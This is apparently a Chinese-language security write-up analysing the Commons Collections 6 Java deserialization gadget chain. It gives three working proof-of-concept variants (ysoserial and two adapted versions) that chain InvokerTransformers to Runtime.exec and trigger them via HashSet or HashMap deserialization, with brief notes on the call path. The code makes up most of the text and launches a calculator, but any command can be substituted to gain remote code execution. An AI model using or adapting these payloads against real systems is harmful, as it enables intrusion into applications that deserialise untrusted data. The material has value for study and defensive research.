Java反序列化7-CommonsCollections6利用链分析

Java反序列化7-CommonsCollections6利用链分析

以下是CC6三种实现方式

ysoserial POC：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class cc6 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                                   new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        HashSet hashset = new HashSet(1);
        hashset.add("foo");

        //HashSet 基于 HashMap 来实现的，获取其HashSet中的HashMap
        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);

        //反射获取了 HashMap 中的 table 属性，table其实就是hashmap的存储底层，将HashMap中的每一个元素<Key,Value> 封装在了 Node 对象中，将这些node对象存储在table数组中
        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);

        //在获取到了 table 中的 key 之后，利用反射修改其为 tiedmap
        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

利用hashSet.readobject触发hashmap.put()从而触发tiedmap.hashcode从而调用getvalue从而调用lazymap.get进而进入ChainedTransformer.tranform

剩余链子为ConstantTransformer+InvokerTransformer+InvokerTransformer+InvokerTransformer

修改自P牛 POC：

HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
hashMap.put(tied, "2");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
//因为在hashMap.put时候会调用tiedmap.get从而调用lazymap.get使得lazymap中存储了{"1":transformer("1")}，所以需要清理掉。否则反序列化时get成功
lazyMap.clear();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashMap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();

ysoserial是利用hashset.readobject触发hashmap.put()，其实在hashmap.readobject中也会触发hashmap.put()，所以这里用的hashmap而不是hashset

修改自白袍 POC：

HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
    TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
//hashMap.put(tied, "2");
//HashSet hashSet = new HashSet(hashMap.keySet());
HashSet hashSet = new HashSet<TiedMapEntry>();
hashSet.add(tied);

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
lazyMap.clear();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashSet);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();

ysoserial poc的后半部分就是在给hashset赋值，那为啥不能直接add进去呢，这里修改了部分白袍师傅的poc代码也能rce成功

hashset.add其实就是给其hashmap赋了个值